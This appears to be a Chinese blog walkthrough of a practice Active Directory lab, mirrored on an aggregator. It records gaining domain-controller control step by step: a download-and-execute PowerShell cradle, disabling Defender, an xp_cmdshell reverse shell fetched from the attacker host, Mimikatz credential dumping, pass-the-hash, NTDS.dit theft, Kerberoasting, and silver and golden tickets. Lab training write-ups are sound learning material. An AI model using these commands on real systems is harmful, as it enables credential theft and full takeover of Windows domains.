Offensive域环境靶场渗透
source link: https://wh0ale.github.io/2019/12/16/Offensive%E5%9F%9F%E7%8E%AF%E5%A2%83%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Offensive域环境靶场渗透
192.168.159.10(offensive-client/win10)
192.168.159.20(offensive-sql-server/windows server 2016)
192.168.159.200(Domain Controller/windows server 2016)
Machine Offensive-User - Alice/Password1
Machine Offensive-SQLServer1 - dbadmin:Password!
Machine Offensive-DC - Administrator:Password@
要求获取域控权限,且只能使用客户机提供的工具以及powershell,已经拥有192.168.159.10的一个用户权限,工具已经放在主机内。
Powershell基础命令
powershell.exe -ep Bypass -nop -noexit -c iex ((New ObjectNet.WebClient).DownloadString(‘https://[website]/malware.ps1′))
在没有默认PowerShell解释器的情况下运行脚本
powershell.exe –ep Bypass “& {Get-Content .\malware.ps2 | iex}
测试域关系
Get-Credential
Test-ComputerSecureChannel
Test-ComputerSecureChannel -Server "dc.offensive.local"
Test-ComputerSecureChannel -Repair
Test-ComputerSecureChannel -verbose
. .\powerview.ps1
Import-Module powerview.ps1
禁用Windows defender命令
Set-MpPreference -disablerealtimeMonitoring $true
域中用户的当前权限
C:\> whoami
C:\> net localgroup administrators
导入PowerUp脚本以查找本地特权升级漏洞
PS C:\>Powershell -ep bypass
PS C:\>cd C:\Users\alice\Desktop\tools
PS C:\>. .\Powerup.ps1
PS C:\>Invoke-AllChecks -verbose
PS C:\>Write-ServiceBinary -ServiceName VulnService -UserName "offensive\alice" -Password Password! //指定添加用户,用户密码以及添加的用户组
PS C:\>cp .\service.exe "C:\Program Files\Vuln Service\VulnService.exe"
检查服务状态
C:\>sc qc VulnService
立即重新启动系统。
原来的Administrator为offensive\Domain Admins
,使用Write-ServiceBinary添加用户后看到Administrator权限的还加了一个offensive\Alice
。
使用管理员权限打开Powershell并禁用Windows Defender
PS C:\>Set-MpPreference -disablerealtimeMonitoring $true
加载Mimimikatz并从lsass进程中转储凭证。
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
导入PowerView进行域枚举。
PS C:\>cd C:\Users\alice\Desktop\tools
PS C:\>Import-Module powerview.ps1
获取当前域和域控制器
PS C:\>Get-NetDomain
PS C:\>Get-NetDomainController
获取当前域中的用户列表
PS C:\>Get-NetUser
PS C:\>Get-NetUser | select name
获取当前域中的所有组
PS C:\>Get-NetGroup
PS C:\>Get-NetGroup | select name
PS C:\>Get-NetGroup *admin* | select name
PS C:\>Get-NetGroup -UserName Alice
PS C:\>Get-NetGroup "Domain Admins"
获取当前域中的计算机列表
PS C:\>Get-NetComputer
PS C:\>Get-NetComputer | select name
PS C:\Users\Alice\Desktop\tools> Get-NetComputer | select name
name
----
DC
SQL1
CLIENT1
导入PowerUpSQL powershell脚本以枚举域中的sql server。
PS C:\>cd C:\Users\alice\Desktop\tools\PowerUpSQL
C:\Users\alice\Desktop\tools\PowerUpSQL>. .\PowerUpSQL.ps1
发现SQL 实例并检查可访问性
PS C:\Users\alice\Desktop\tools\PowerUpSQL>Get-SQLInstanceDomain | Get-SQLConnectionTest
收集有关SQL实例的信息
PS C:\Users\alice\Desktop\tools\PowerUpSQL>Get-SQLServerInfo -Instance Offensive-SQL1
自动扫描SQL实例是否配置错误
PS C:\Users\alice\Desktop\tools\PowerUpSQL>Invoke-SQLAudit -Instance Offensive-SQL1 -verbose
管理员侦察
查找当前域中用户具有本地管理员访问权限的所有计算机。
PS C:\Users\alice\Desktop\tools>Set-MpPreference -disablerealtimeMonitoring $true
PS C:\Users\alice\Desktop\tools>. .\Powerview.ps1
PS C:\Users\alice\Desktop\tools>Find-LocalAdminAccess -verbose
查找域管理员或指定的用户/组具有会话的计算机。
PS C:\>Invoke-UserHunter -checkAccess -verbose
打开HeidiSQL并使用Windows身份验证连接到Offensive-SQL1服务器。执行以下查询。
EXEC master..xp_cmdshell 'whoami'
如果xp_cmdshell被禁用:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
EXEC master..xp_cmdshell 'whoami'
启动将连接反向shell的powercat侦听器。
PS C:\>cd C:\Users\alice\Desktop\tools
PS C:\Users\alice\Desktop\tools> . .\powercat.ps1
PS C:\Users\alice\Desktop\tools> powercat -l -v -p 443
使用hfs服务器托管反向Shell。
EXEC master..xp_cmdshell 'powershell "iex(New-Object Net.WebClient).DownloadString(''http://192.168.159.10/Invoke-PowerShellTcpOneLine_443.ps1'')"'
如果上述命令不起作用,对反向外shell进行编码。
PS C:\Users\alice\Desktop\tools> . .\Invoke-Encode.ps1
PS C:\Users\alice\Desktop\tools> Invoke-Encode -DataToEncode .\Invoke-PowerShellTcpOneLine_443.ps1 -OutCommand
机器上的当前登录用户。
PS C:\Windows\system32>whoami
禁用Windows Defender。
PS C:\Windows\system32>Set-MpPreference -disablerealtimeMonitoring $true
从受害机器上传输Mimikatz。
PS C:\Windows\system32>cd c:\
PS C:\>mkdir temp
PS C:\>cd temp
PS C:\temp>iwr -Uri http://192.168.159.10/mimikatz.exe -OutFile mimikatz.exe -UseBasicParsing
PS C:\temp> dir
iwr 命令详解
Invoke-WebRequest 调用网络请求
UseBasicParsing 使用基本解析
OutFile 保存到文件
加载Mimimikatz并从lsass进程中转储凭证。
PS C:\temp> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
Pass the Hash
在Alice(client)命令行上运行它(需要Administrators权限,当时折腾了挺久没成功)。Pass the hash
并根据哈希值生成令牌
1.获取本机用户名、口令、sid、LM hash、NTLM hash
sekurlsa::logonpasswords
2.mimikatz Pass the Hash 攻击
PS C:\temp> .\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:dbadmin /domain:offensive.local /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe" exit
参数说明:
/domain:当前域名称
/user: dbadmin(也就是Offensive-SQL1)
/domain: 所在域
/ntlm:
dbadmin
的hash/run: 派生的命令
域管理员权限
在使用dbadmin
标记执行的Spawn 出的powershell会话。
PS C:\Windows\system32> whoami
PS C:\Windows\system32> net config Workstation
PS C:\Windows\system32> Enter-PSSession -ComputerName dc.offensive.local
PS C:\Windows\system32> Set-MpPreference -disablerealtimeMonitoring $true
https://docs.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-6
(这里没能成功,我觉得是因为环境配置的域关系不对,使用PtH
攻击无法登录到域控,显示连接的远程服务账号或者密码错误,所以我直接登陆域控复制的NTDS.dit
文件)
排查下错误:Windows powerShell远程连接服务器
先用账户密码 试试连接成功不。反推问题
$uname="offensive\dbadmin"
$pwd=ConvertTo-SecureString "Passw0rd!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Enter-PSSession -ComputerName dc.offensive.local -Credential $cred
在offensive-SQL1
尝试使用账号密码登陆域控的时候,弹出域控不受信任,请锁屏后重新登陆的信息
,可以判定是域信任问题
1.转储Active Directory数据库(NTDS.dit 活动目录的数据库文件)。将Ninjacopy Powershell脚本托管在hfs服务器上,并将其传输到域控制器上。
PS C:\Windows\system32>iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing
PS C:\Windows\system32>. .\Invoke-NinjaCopy.ps1
PS C:\Windows\system32>Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination 'C:\Users\dbadmin\Desktop\ntds.dit'
Invoke-NinjaCopy 拷贝ntds.dit
该脚本可以打开整个卷(如C:)的读取句柄并解析 NTFS 结构,从而从一个 NTFS 卷复制文件。此操作需要目标服务器的管理员权限。利用此脚本可以绕过以下保护措施:
- 一个已被进程打开且不能被其他进程操作的文件,如 Ntds.dit 文件或注册表中的 SYSTEM hive 配置文件。
- 已被设置 SACL 标志的文件,在打开此类文件时,会有提醒(此脚本没有使用 Win32 API 打开文件,因此Windows 没有反应)。
- 绕过 DACL ,例如 DACL 只允许 SYSTEM 权限打开一个文件。
如果指定了 LocalDestination 参数,则文件将被复制到本地服务器(脚本正在从运行的服务器)中指定的文件路径。
如果指定了 RemoteDestination 参数,则该文件将被复制到远程服务器中指定的文件路径。
该脚本使用了 cyb70289 的NTFS解析代码并已发布到了 CodePlex 上进行 NTFS 结构解析。由于 NTFS 解析代码使用 C++ 编写,所以我将代码编译到了一个 DLL 中,并通过反射使用 PowerShell 的 Invoke-ReflectivePEInjection.ps1 脚本加载它。
2.保存系统文件。
PS C:\Windows\system32>reg save HKLM\SYSTEM C:\Users\dbadmin\Desktop\SYS
3.使用powershell copy-item命令在受害机器上传输ntds.dit和SYS文件。
PS C:\>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\ntds.dit' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'
PS C:\>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\SYS' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\SYS'
4.在受害者计算机(Alice)上,执行以下命令以检索所有用户的NTLM哈希。
PS C:\Users\alice\Desktop\tools>Get-BootKey -SystemHivePath 'SYS'
PS C:\Users\alice\Desktop\tools>$key = Get-BootKey -SystemHivePath 'SYS'
PS C:\Users\alice\Desktop\tools>Get-ADDBAccount -All -DBPath 'C:\Users\Alice\Desktop\tools\ntds.dit' -BootKey $key
Get-BootKey:从SYSTEM文件读取BootKey
Get-ADDBAccount -All -DBPath 'C:\Users\Alice\Desktop\tools\ntds.dit' -BootKey $key
获取所有账户信息
4.报错:
Get-ADDBAccount : The database is not in a clean state. Try to recover it first by running the 'esentutl /r edb /d'
5.使用Windows esentutl二进制文件修复ntds.dit文件并进行传输
[dc.offensive.local]: PS C:\Users\dbadmin\Desktop>esentutl.exe /p 'C:\Users\dbadmin\Desktop\ntds.dit' /!10240 /8 /o
[dc.offensive.local]: PS C:\Users\dbadmin\Desktop>Copy-Item '\\dc.offensive.local\C$\Users\dbadmin\Desktop\ntds.dit' -Destination '\\Client1.offensive.local\C$\Users\alice\Desktop\tools\ntds.dit'
6.在受害计算机上,再次执行以下命令以检索所有用户的NTLM哈希。
PS C:\Users\alice\Desktop\tools>Get-ADDBAccount -All -DBPath 'C:\Users\alice\Desktop\tools\ntds.dit' -BootKey $key
跑出所有用户hash
Kerberoasting
步骤1:在Active Directory中扫描设置了SPN值的用户帐户。
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>. .\GetUserSPNs.ps1
2.使用SPN值从AD请求服务票证
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>Add-Type –AssemblyName System.IdentityModel
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'
Add-Type
-AssemblyName
指定包含类型的程序集的名称
步骤3:将服务票证提取到内存中并保存到文件
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # kerberos::list /export
将票证复制到C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master
文件夹中
4.破解Offensive-SQL1
密码
PS C:\Users\alice\Desktop\tools\kerberoast\kerberoast-master>python tgsrepcrack.py pass.txt "copied-ticket-name.kirbi"
Silver Ticket
Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。
常用的服务名有以下:
服务名称 同时需要的服务
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share CIFS
LDAP LDAP
Windows Remote Server RPCSS、LDAP、CIFS
制作银票的条件:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH
4.伪造的用户名,可以是任意用户名,这里是silver
利用过程
首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是Offensive-SQL1:1433
的HASH。SID为Alice
的SID。
1.获取本机用户名、口令、sid、LM hash、NTLM hash
sekurlsa::logonpasswords
2.使用Mimikatz命令kerberos::golden
,传递域SID,目标主机名,服务名称,服务帐户的NTLM哈希,用户名和组信息,以创建Silver Ticket
参数说明:
/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是Offensive-SQL1:1433
/service:服务名称,这里需要访问共享文件,所以是
MSSQLSvc
/rc4:目标主机的HASH值
/user:伪造的用户名
/ptt:表示的是Pass TheTicket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用
kerberos::ptt
来导入
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4:fc525c9683e8fe067095ba2ddc971889 /user:idontexist /id:1103 /ptt
3.spawn 一个会话
mimikatz # misc::cmd
4.这时通过klist
查看当前会话的kerberos票据可以看到生成的票据。
klist
或者上传mimikatz使用以下命令
C:\Users\Alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # kerberos::list
Golden Ticket
Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。
制作金票的条件:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
利用过程
1.金票的生成需要用到krbtgt
的密码HASH值,可以通过mimikatz中的
lsadump::dcsync /dc.offensive.local /user:krbtgt
2.使用Mimikatz命令kerberos::golden
,传递域名SID,域名,krbtgt帐户的NTLM哈希,用户名和组信息以创建Golden Ticket,即为伪造成功的TGT。
PS C:\>cd C:\Users\alice\Desktop\tools\mimikatz_trunk\x64
PS C:\Users\alice\Desktop\tools\mimikatz_trunk\x64>.\mimikatz.exe
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500
参数说明:
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
3.通过mimikatz中的kerberos::ptt
功能(Pass The Ticket)将ticket.kirbi
导入内存中。
mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # kerberos::list
4.spawn出命令提示符特权访问DC
mimikatz # misc::cmd
mimikatz # kerberos::tickets
c:\>dir \\dc.offensive.local\c$
之前有想过把环境搭在公司服务器,但是硬盘只剩下60G,所以也没能成功。从Workerstation迁移到vSphere也踩过不少坑,具体步骤参考
vmware vsphere 打开本地的虚拟机资源,workstation中的虚拟机导入到vsphere - Katios
把Workstation的虚机迁移到vSphere - Matrix_Designer的专栏
(光环境我就下了一天,我裂开了。
环境解压密码:bsidessg@2019
Machine Offensive-DC登陆密码应该是
Administrator:Password@
而环境自带的密码是Passw0rd@,当时试了好久都没登陆成功
[Powershell 提权框架-Powerup](https://wooyun.js.org/drops/Powershell 提权框架-Powerup.html)
利用Powershell快速导出域控所有用户Hash | WooYun知识库
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK